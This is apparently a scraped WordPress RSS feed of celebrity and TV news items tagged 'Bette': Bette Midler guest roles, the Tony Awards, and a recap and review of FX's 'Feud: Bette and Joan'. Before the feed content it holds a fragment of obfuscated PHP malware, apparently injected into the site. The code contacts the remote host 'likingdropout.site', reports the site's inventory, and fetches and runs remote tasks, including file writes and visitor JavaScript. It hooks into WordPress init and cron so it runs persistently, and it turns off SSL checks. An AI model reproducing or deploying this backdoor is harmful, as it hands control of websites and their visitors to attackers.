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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Bette – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 19 Oct 2018 10:45:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Bette – Brief News https://briefnews.eu 32 32 Murphy Brown Adds Celeb Guest Stars: Bette Midler, Brooke Shields and More https://briefnews.eu/murphy-brown-adds-celeb-guest-stars-bette-midler-brooke-shields-and-more/ https://briefnews.eu/murphy-brown-adds-celeb-guest-stars-bette-midler-brooke-shields-and-more/#respond Fri, 19 Oct 2018 10:45:53 +0000 http://briefnews.eu/murphy-brown-adds-celeb-guest-stars-bette-midler-brooke-shields-and-more/

Murphy Brown is calling in some celebrity reinforcements: The CBS revival has lined up a number of bold-faced names to guest-star later this season, including Bette Midler in a reprise of her Emmy-nominated role on the original series.

Our sister site Deadline reports that Midler will appear in the Nov. 8 episode as Caprice, Murphy’s former secretary who “has a surprising new connection to Murphy” which makes her “even more entitled and unbearable.” Midler earned an Emmy nod in 1998 for her Murphy guest spot as Caprice.

Also, Brooke Shields (Suddenly Susan) will appear in the Nov. 15 episode as Holly Mackin Lynne, an old friend of Corky’s from her beauty-pageant days who finally wakes up after a decade-long coma that made national headlines.

Katie Couric will return to Murphy Brown in the Nov. 8 episode, playing herself. (The veteran newscaster first appeared in a 1992 episode, as a guest at Murphy’s baby shower.) That episode will also feature Emmy winner John Larroquette (Night Court) as Judge Nate Campbell, who’s described as a “kindred spirit” to Murphy.

Finally, Peter Gallagher (The O.C.) will play conservative news anchor John Haggerty, a “notorious manspreader” who works alongside Murphy’s son Avery at the fictional Wolf Network. Gallagher will guest-star in the Nov. 1 episode.

Murphy Brown airs Thursdays at 9:30/8:30c on CBS.

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]]> https://briefnews.eu/murphy-brown-adds-celeb-guest-stars-bette-midler-brooke-shields-and-more/feed/ 0 Happy 82nd Birthday to the World’s Oldest Flight Attendant: Bette Nash https://briefnews.eu/happy-82nd-birthday-to-the-worlds-oldest-flight-attendant-bette-nash/ https://briefnews.eu/happy-82nd-birthday-to-the-worlds-oldest-flight-attendant-bette-nash/#respond Mon, 01 Jan 2018 00:42:22 +0000 http://briefnews.eu/happy-82nd-birthday-to-the-worlds-oldest-flight-attendant-bette-nash/

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]]> https://briefnews.eu/happy-82nd-birthday-to-the-worlds-oldest-flight-attendant-bette-nash/feed/ 0 Hocus Pocus: Bette Midler SLAMS upcoming TV remake – ‘It’s going to be CHEAP’ https://briefnews.eu/hocus-pocus-bette-midler-slams-upcoming-tv-remake-its-going-to-be-cheap/ https://briefnews.eu/hocus-pocus-bette-midler-slams-upcoming-tv-remake-its-going-to-be-cheap/#respond Wed, 01 Nov 2017 11:56:21 +0000 http://briefnews.eu/hocus-pocus-bette-midler-slams-upcoming-tv-remake-its-going-to-be-cheap/

The 1993 Halloween movie is a cult classic for movie fans and now it’s getting a TV remake.

However the 71-year-old actress is not exactly happy with the announcement, slamming the decision last night.

Midler appeared at the New York Restoration Project’s Hulaween party – which she hosts – and revealed her dismay at a Hocus Pocus remake.

Speaking with People, she said: “I know it’s cheap. It’s going to be cheap!”

The most famous is Vinessa Shaw, who played Allison in Hocus Pocus.

The 40-year-old said of the film: “I don’t think any of us had any idea of the magnitude of how popular it would be. 

“It just goes to show that when you are young you watch things over and over again and it gets in your head, and just sticks.”

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When it comes to televised award shows, you’d be hard-pressed to find one more inherently dramatic than the Tonys — and Sunday’s 71st annual ceremony did not disappoint.

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Hosted by 1991 Tony Award winner Kevin Spacey, this year’s show was a three-hour+ barrage of tributes, performances, impersonations — and a surprising number of people in groundhog costumes (up at least 200 percent from last year’s groundhog-free ceremony).

To that end, TVLine has compiled a gallery of best (all things Ben Platt!), the worst (not enough Bette Midler!) and the weirdest (Rachel Bloom’s mysterious multiplying hats!) moments from this year’s big event.

Browse our gallery of must-see Tonys moments — you can click here for direct access — then drop a comment with your thoughts below: What was your favorite moment?

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]]> https://briefnews.eu/tony-awards-2017-frank-underwood-vs-bette-midler-rachel-blooms-hat-tricks-and-17-other-big-moments/feed/ 0 Woman’s Uncanny Makeup Transformations Turn Her Into Iggy Pop, Bette Davis, and More https://briefnews.eu/womans-uncanny-makeup-transformations-turn-her-into-iggy-pop-bette-davis-and-more/ https://briefnews.eu/womans-uncanny-makeup-transformations-turn-her-into-iggy-pop-bette-davis-and-more/#respond Sat, 25 Mar 2017 21:02:23 +0000 http://briefnews.eu/womans-uncanny-makeup-transformations-turn-her-into-iggy-pop-bette-davis-and-more/ Italian makeup artist and painter Lucia Pittalis has the uncanny ability to transform her face into, well, just about anybody. We learned about the artist on Design You Trust, where we fell in love with her ode to some of music history and Hollywood’s finest. Many of her creations are based pop-culture icons — and Pittalis isn’t limited to just female makeup transformations. She makes a great Iggy Pop, Jack Sparrow, Lurch, and more. Meryl Streep with killer cheekbones? Check. Droopy-eyed Sylvester Stallone as Rambo? Check. Wild-haired Frank Zappa with his signature smirk? Check. You can also find her ode to politics with a Clinton/Trump makeover. Discover more of Pittalis’ work past the break.

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]]> https://briefnews.eu/womans-uncanny-makeup-transformations-turn-her-into-iggy-pop-bette-davis-and-more/feed/ 0 Inside the homes of Hollywood legends Bette Davis and Joan Crawford with FX’s new show ‘Feud’ https://briefnews.eu/inside-the-homes-of-hollywood-legends-bette-davis-and-joan-crawford-with-fxs-new-show-feud/ https://briefnews.eu/inside-the-homes-of-hollywood-legends-bette-davis-and-joan-crawford-with-fxs-new-show-feud/#respond Mon, 13 Mar 2017 08:40:55 +0000 http://briefnews.eu/inside-the-homes-of-hollywood-legends-bette-davis-and-joan-crawford-with-fxs-new-show-feud/ feud susan sarandon jessica lange fxSuzanne Tenner/FX

Ryan Murphy, the producer behind Emmy-winning series “American Horror Story” and “American Crime Story: The People v. O.J. Simpson,” has a new television series, “Feud: Bette and Joan,” which premieres Sunday at 10 p.m. on FX.

The eight-episode series gets into the juicy details of the notorious rivalry between Bette Davis and Joan Crawford (played by Susan Sarandon and Jessica Lange, respectively) while shooting the 1962 hit horror film, “What Ever Happened to Baby Jane?”

And in doing so, the producers went to great lengths to make sure that the sets were as close to reality as possible.

Heading that huge task was production designer Judy Becker. A Hollywood veteran, Becker’s most recent credits include critically acclaimed films “Joy” and “Carol.”

“It’s an interesting period to design for sure,” Becker told reporters of her decision to take on the job during a recent visit to the “Feud” set in Los Angeles.

“It’s always fun,” she continued, “because we’re doing different worlds and different characters. So this is like a Hollywood world and kind of over-the-top characters, and I haven’t done that to this degree before. So, it was pretty appealing.”

Becker uses all the tools and tricks available to her in order to re-create 1960s Hollywood, from online searches to hiring researchers, perusing prop houses, examining footage, visiting the actual sites, and tapping private collectors.

Here’s an inside look at two Hollywood legends’ lives from the set of “Feud: Bette and Joan”:

Joan Crawford had very expensive, modern (for that time) Hollywood tastes.

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“Joan lived in this very grand way, which was very fashionable in terms of design,” Becker said of Crawford’s home, which took two months to re-create. “She was really keeping up with the times.”

“She was fashionable, Hollywood fashionable,” she added.

Joan Crawford hired famed interior decorator William Haines to outfit her Brentwood-area, Los Angeles home in Hollywood splendor.

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“Joan was very good friends with a well-known decorator of the time, William Haines, who started out as an actor and then became a pretty famous interior designer,” Becker said.

Williams Haines’ furniture would be “a fortune now” if you could find them.

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Becker said that William Haines “designed all the furniture that’s in the living room, the kind of tufted furniture. We made those for the show, but they’re based on his designs, which cost a fortune now if you can find them.”


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The new series, which began on FX in the US on Sunday, reimagines the cat fights between Crawford and Davis on the set of What Ever Happened to Baby Jane?

Actress Jessica Lange is playing the role of Crawford, while Susan Sarandon has taken on the part of her glamorous rival Davis.

During the Golden Age of Hollywood, the two stars openly traded insults on set and purposefully hurt each other during stunt scenes for the 1962 film.

The actresses also clashed off set and their cutting comments about each other have gone down in history as some of their most memorable quotes. 

Davis once said: “Why am I so good at playing bitches? I think it’s because I’m not a bitch. Maybe that’s why Joan Crawford always plays ladies.”

Crawford gave as good as she got and was not above making comments about Davis’ looks in comparison to her own. 

She noted: “Miss Davis was always partial to covering up her face in motion pictures. She called it ‘art.’ 

“Others might call it camouflage – a cover-up for the absence of any real beauty”. 

The rivals teamed up for What Ever Happened to Baby Jane? after they were well into middle age and past the height of their fame. 

Even though Crawford asked Davis to join the cast, it did not stop their incessant feuding and arguments during filming. 

Davis would later say: “The best time I ever had with Joan Crawford was when I pushed her down the stairs in What Ever Happened to Baby Jane?”

It is believed that their rivalry fist started during the making of 1935 drama Dangerous when Davis fell for Franchot Tone, who starred opposite her.

Tone was dating Crawford at the time and went on to marry her soon after filming for Dangerous ended. They got divorced just four years later. 

The actresses were in direct competition for roles for much of their careers and remained rivals for long after their heyday. 

After Crawford’s death, Davis famously said: “You should never say bad things about the dead, you should only say good… Joan Crawford is dead. Good.”

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With the debut Sunday of his new FX anthology series FEUD, Ryan Murphy drew back the curtain on the rivalry between Bette and Joan, with (as you well know) Susan Sarandon as Davis and Jessica Lange as Crawford. The reviews, including TVLine’s, have been good. But did you, too, find the drama as intoxicating as a flask of 100-proof vodka? Let’s go over the events of the pilot, then you can weigh in in the poll below.

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‘THESE ARE LEAN TIMES, MAMACITA’ |Bette and Joan kicked off with a glimpse at a 1976 documentary shoot, during which Olivia de Havilland (Catherine Zeta-Jones) informed her interviewer that, although pal Davis and Crawford’s feud was one “of Biblical proportions… feuds are never about hate, feuds are about pain,” which we’d see soon — and often — enough. From there, we flashed back to the ’61 Golden Globes, where Joan, upset over Marilyn Monroe’s win, got so soused that she earned herself a morning-after visit from Hedda Hopper (Judy Davis). Joan hadn’t been drunk, she insisted. “I must have eaten something that disagreed with me.” Hedda’s guess: “Crow?”

When Joan — yesterday’s It girl — attempted to decline to comment on Marilyn — today’s It girl (ouch) — the columnist threatened to reveal that the actress, in spite of being the widow of a Pepsi exec, was in dire financial straits. How dire? Her loyal maid Mamacita, played by Broadway scene stealer Jackie Hoffman, had to remind the gardeners that, whether they were getting paid, it was still “an honor to prune Miss Crawford’s bush” — that dire. Desperate to get back to work but unwilling to play Elvis’ grandmother, Joan took her agent’s advice and pored through novels looking for a project to develop. After discovering the thriller What Ever Happened to Baby Jane?, she sent it to her Autumn Leaves director Robert Aldrich (Alfred Molina), whose assistant Pauline (Alison Wright) suggested that it could be another Psycho. In need of a hit himself, Bob quickly came on board. And, as it happened, Joan knew exactly who should — in fact, who had to — co-star.

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feud bette and joan season 1 episode 1 recap‘THESE ARE THE PARTS OF A LIFETIME’ | Paying a visit to Bette in New York, where she was appearing in a Broadway production of The Night of the Iguana, Joan — whom her rival insisted on calling by her real name, Lucille — suggested that, since juicy parts for women in film weren’t coming along very often these days, they should team up on Baby Jane. Female roles would come back in fashion, Bette insisted. “But,” Joan retorted, “we won’t.” If Bette came on board, she could even play Baby Jane. The lead? asked Bette, incredulous. “You can call it that,” Joan said. After reading the book, Bette let Bob convince her that “this is gonna be the greatest horror movie ever made.” That is, if he could get it made. One studio wanted to cast younger actresses (Audrey Hepburn and Doris Day). Another wanted to tell the story from the P.O.V. of a sexy neighbor played by Natalie Wood.

Finally, Bob had no choice but to turn to Jack L. Warner (Stanley Tucci), whose loathing of Bette — who’d brought down the studio-contract system on his head — was possibly even greater than Joan’s. As you’d expect, the embittered studio head swore he’d never work with Davis again. In fact, he added, “her unemployment is my long-simmering revenge.” But, since TV was kicking the studio’s ass, Baby Jane was a genre TV wasn’t touching, and Bob would even pay Jack first, a deal was struck. Naturally, the press ate it up. Also naturally, it didn’t take long for things to sour. At the contract-signing, Joan noticed that Bette was getting $ 600/week more than her in expenses, and hit the roof. When Bob assured her that it was merely an oversight, and one he could fix, she got in his face seductively. “It’s not about the money,” she purred. “It’s about trust.” Since he wasn’t interested in a kiss, she angrily demanded $ 1,500.

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‘SHE COULD FINALLY EXHALE’ | During another documentary interview, Joan Blondell (Kathy Bates) informed us that Crawford had continued making great movies throughout the ’50s — a rough time for broads like them in La La Land — until she’d married Pepsi bigwig Alfred Steele. For her part, Bette, crushed when offers didn’t come rolling in post-All About Eve, had miscast herself as the missus of her Eve leading man Gary Merrill (Mark Valley) when, really, she was “the one who needed a wife,” she noted. Ironically, the marriage hadn’t gone south because Gary had been bad in bed but because he had been bad on stage. “When Bette had to choose,” Blondell observed, “she always chose the professional over the private.”

Meanwhile, Joan complained incessantly to the man in her life about Bette, even blaming her nemesis for one of her failed marriages. When he wondered aloud why they weren’t friends, having as much in common as they did, Joan recalled that, after winning the Oscar for Mildred Pierce, she’d received many congratulatory notes — but not one from any of Hollywood’s bitches, and certainly not from the queen bitch. Hearing that, he realized that Joan actually admired Bette — and was he ever right. “I will have her respect,” Joan vowed, “even if I have to kill both of us to get it!”

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feud bette and joan season 1 episode 1 recap‘TOGETHER AT LAST’ | On the first day of the Baby Jane shoot, Joan irritated Bette — who brought along daughter B.D. (Kiernan Shipka) — by handing out gifts to the crew. But both of the movie’s stars were nervous. When Bette caught Joan tippling in her dressing room before noon, she asked, “Got enough for two?” and they raised a glass to their team-up. Cutting through the B.S., Bette went so far as to ask Joan to do her best, because when she was good, she was great. “Oh Christ,” Bette then exclaimed upon seeing tears in Joan’s eyes, “you’re not gonna cry?” But she was. The compliment meant that much to her. However, as quickly as the truce was called, it was broken. “Lose the shoulder pads and cut back on the lipstick,” Bette told her co-star. “You’re playing a recluse who hasn’t seen the sun for 20 years, for Chrissake.”

Later, Joan pitched a fit when she spotted Bette bending Bob’s ear about her look, and the director begged Davis to let him handle Crawford carefully. They hadn’t even worked out Bette’s Baby Jane drag yet, for crying out loud. By the time the cameras rolled, Joan’s look had been toned down significantly, and she basked in the praise she received from Bob after playing her first scene. “I’m just getting warmed up,” she said, relieved. At the same time, Bette shocked B.D. with the extreme look she’d developed for her own character. “Christ,” gasped Joan upon getting a gander at Bette in costume, “she can’t be serious.” Of course, not only was Bette serious, her daring was applauded — literally — by Bob and the crew.

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‘WELCOME TO THE HOUSE THAT FEAR BUILT’ | Watching dailies, Joan worried aloud about how unnecessarily harsh the lighting was on her. Finally, she could stand to see no more and left. Bette, for all of her bravery on the set, had difficulty watching, too. She wiped away tears after the scene unspooled in which Baby Jane reacted in horror to her own reflection. Then, as Episode 1 drew to a close, the “Hudson sisters” arrived at Hedda’s for a party, only to discover that they were to be the only guests. In spite of the ambush — and because of the free-flowing vodka — the gossipmonger was hoping that Bette and Joan would dish on one another. Instead, to Hedda’s chagrin, the actresses kept their claws retracted. For the moment, at least.

So, what did you think of the premiere of Bette and Joan? Are you digging Sarandon and Lange as Davis and Crawford? Vote in the poll below, then hit the comments with your review.

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]]> https://briefnews.eu/feud-bette-and-joan-premiere-recap-did-the-drama-put-stars-in-your-eyes/feed/ 0 Flavorwire’s Official ‘Feud: Bette and Joan’ Drinking Game https://briefnews.eu/flavorwires-official-feud-bette-and-joan-drinking-game/ https://briefnews.eu/flavorwires-official-feud-bette-and-joan-drinking-game/#respond Sat, 04 Mar 2017 16:43:22 +0000 http://briefnews.eu/flavorwires-official-feud-bette-and-joan-drinking-game/ Most movie lovers don’t remember the 1962 film What Ever Happened to Baby Jane? for its psychological thrills. They remember the bitter real-lie feud behind the Warner Bros. production that made tabloid headlines. Bette Davis and Joan Crawford, two of cinema’s grand dames, co-starred in Baby Jane as aging sisters locked away in a crumbling mansion. Davis and Crawford’s careers were on the decline, and the film sought to make two of Hollywood’s greatest relevant once more. Crawford brought the project to Davis, but couldn’t stand the fact that she was later nominated for an Academy Award. Davis had her own axe to grind, after Crawford married the man she fell in love with during the making of a previous movie. That’s just the tip of it — but Ryan Murphy explores the relationship between stars during the making of Baby Jane in his FX series Feud, which premiers on Sunday, March 5. Raise a glass and play along with our official drinking game.

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]]> https://briefnews.eu/flavorwires-official-feud-bette-and-joan-drinking-game/feed/ 0 The Seductively Entertaining ‘Feud: Bette and Joan’ Tells a Tabloid Version of Bette Davis and Joan Crawford’s Relationship https://briefnews.eu/the-seductively-entertaining-feud-bette-and-joan-tells-a-tabloid-version-of-bette-davis-and-joan-crawfords-relationship/ https://briefnews.eu/the-seductively-entertaining-feud-bette-and-joan-tells-a-tabloid-version-of-bette-davis-and-joan-crawfords-relationship/#respond Thu, 02 Mar 2017 14:59:52 +0000 http://briefnews.eu/the-seductively-entertaining-feud-bette-and-joan-tells-a-tabloid-version-of-bette-davis-and-joan-crawfords-relationship/ In recent years we’ve seen an explosion of popular culture revisiting the near-mythical Golden Age of Hollywood — from the 1930s through the 1960s — and the years that followed, when the monolithic studio system began to erode. Movies like Trumbo, Saving Mr. Banks, The Artist, and Hail, Caesar!, and podcasts like You Must Remember This, remind us that not too long ago, Hollywood was a frontier, a desert full of scrappy nobodies making things up as they went along, at a time when stars were still learning how to artfully withhold their true selves from the public’s prying eyes. But a star is not a star until we dig into her private life; until then, she’s just a plain old actress. That merging of a performer’s private and public personas is what makes a star so valuable, and what makes a show like Feud: Bette and Joan, which premieres on Sunday on FX, so irresistible.

Feud is the latest anthology series from Ryan Murphy, the creator of Nip/Tuck, Glee, American Horror Storyand, most recently, American Crime Story, which premiered to great acclaim last year with a 10-episode retelling of the O.J. Simpson trial. The first installment of Feud takes a magnifying glass to the long-simmering conflict between Bette Davis (Susan Sarandon) and Joan Crawford (Jessica Lange) on the set of the 1962 thriller Whatever Happened to Baby Jane? — the only movie the two women, by then decades past the peak of their careers, made together. “No one’s looking to cast women our age,” Crawford reminds Davis in the first episode. But if they fuse their star power, they can create a force that even the notoriously misogynist studio system can’t ignore. “Together,” Baby Jane director Robert Aldrich (Alfred Molina) tells studio head Jack Warner (a scathing Stanley Tucci), “they’re an event.”

While the show is not exactly a celebration of female friendship, it is a tribute to the bonds between working women that arise out of mutual respect, if not quite affection. But while Feud clearly reveres its two main subjects, its tribute to their late-career struggles often veers into condescension and threatens to replicate the very dynamics it laments.

One look at Feud and you’ll see why the entertainment industry has such a hard-on for America in the 1960s. The decade was a design buff’s wet dream, and the show pays careful attention to period details and fastidiously recreates real-life settings like Crawford’s Hollywood mansion. Feud signals the divide between Davis and Crawford through its production and costume design: Davis’s Connecticut home — she’s doing theater in New York when the series opens — is all dark wood and warm earth tones, a sharp contrast to Joan’s sun-filled L.A. home, with its bright, jewel-toned colors and furniture covered in plastic. Joan wears color-coordinated outfits and hats; Bette wears capri pants and white blouses.

Sarandon and Lange are excellent choices to play these two outsized actors, and the show’s makeup and hair department has done a convincing job of making them into Davis and Crawford. (It speaks volumes about the ever-more-unnatural beauty standards for women in Hollywood that Sarandon, 70, and Lange, 67, look about the same age as their fictional counterparts — who were both in their 50s when they made Baby Jane.) In fact, all the performances are fantastic, in particular Molina as the put-upon Bob Aldrich and Catherine Zeta-Jones as Olivia de Havilland, a close friend of Bette’s. (Judy Davis is underused as gossip columnist Hedda Hopper, but her hats sure aren’t.)

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Feud’s first episode, which sets up what de Havilland calls “a feud of biblical proportions,” is seductively entertaining. Scenes of Crawford undergoing ever-weirder beautifying treatments, like rubbing lemon halves on her elbows to keep them “supple,” are hard to resist, even as they paint a rather clichéd picture of aging female desperation (a cosmetologist vigorously applies cream to her neck before recommending turtlenecks).

The show quickly runs up against some fundamental problems. As good as Sarandon and Lange are, they’re no Bette Davis and Joan Crawford; who could possibly improve upon these two famously larger-than-life performers, particularly when they’re reenacting scenes from a classic movie? The show offers scant description of Whatever Happened to Baby Jane?, which makes the production scenes confusing if you haven’t seen the movie. And at eight hour-long episodes, Feud has far too much time for the story it wants to tell; the filming of Baby Jane lasts just three episodes, with the following two devoted to the movie’s reception and the 1963 Oscars ceremony (that one’s a standout). As compelling as the relationship between these two women may have been, it’s not exactly the O.J. Simpson trial.

Perhaps because of its bloated run time, the show becomes repetitive, harping on the idea of powerful men pitting women against each other — and women stabbing each other in the back as a result of their compromised position. “There were so many people who profited from them being at each other’s throats,” de Havilland explains. (Just ask Ryan Murphy!)

This starts to feel like an oversimplification, just as the highlights of Crawford and Davis’s feud start to feel overblown. Menacing string music like something out of a Hitchcock thriller accompanies the actors’ petty snubs and squabbles; when Crawford finds out Davis was nominated for an Oscar and she wasn’t, we cut to an exterior shot of her house and hear her blood-curdling scream. All these trappings — the music; the editing; the framing of Crawford in her magnificent home as if she’s a queen in her castle — emphasize the “biblical proportions” of Bette and Joan’s conflict, casting their feud in the light of a psychological thriller à la Baby Jane.

It makes for a stylish series, but it also flattens Crawford and Davis, rendering them caricatures of desperate aging women frantic to remain in the glow of the spotlight. They become like the silhouetted figures in the animated, Saul-Bass-style opening credits — symbols of ageism and sexism in Hollywood rather than flesh-and-blood humans.

After a few hours of this, Feud verges on patronizing. Rather than marvel at these women’s resiliency, the show wants us to pity them their sagging necks. Maybe Ryan Murphy can’t help but project perpetual sadness on any woman over 50, but I seriously doubt Crawford and Davis spent this much time commiserating over their fading looks.

At first glance, Feud is a gift to fans of Hollywood lore, basically a lush adaptation of film historian Karina Longworth’s podcast You Must Remember This. But a few episodes in, Feud starts to feel like the opposite of the meticulously researched podcast: While Longworth fleshes out her subjects, digging up details about their lives to conjure the human being behind the one-note celebrity, Feud reduces its subjects to cartoons. It’s a tabloid.

At its core, the engine driving Feud isn’t sexism or ageism but our own nostalgia-fueled obsession with classic Hollywood. Through its fictionalized celebrity characters, the show tempts its audience to look at the current gender disparity in Hollywood and marvel at how little has changed. But it might be more helpful to consider how hard it is for women, now and then, to shake off the notion that they’re symbols before they’re people.

Feud: Bette and Joan premieres Sunday, March 5 at 10 p.m. on FX.

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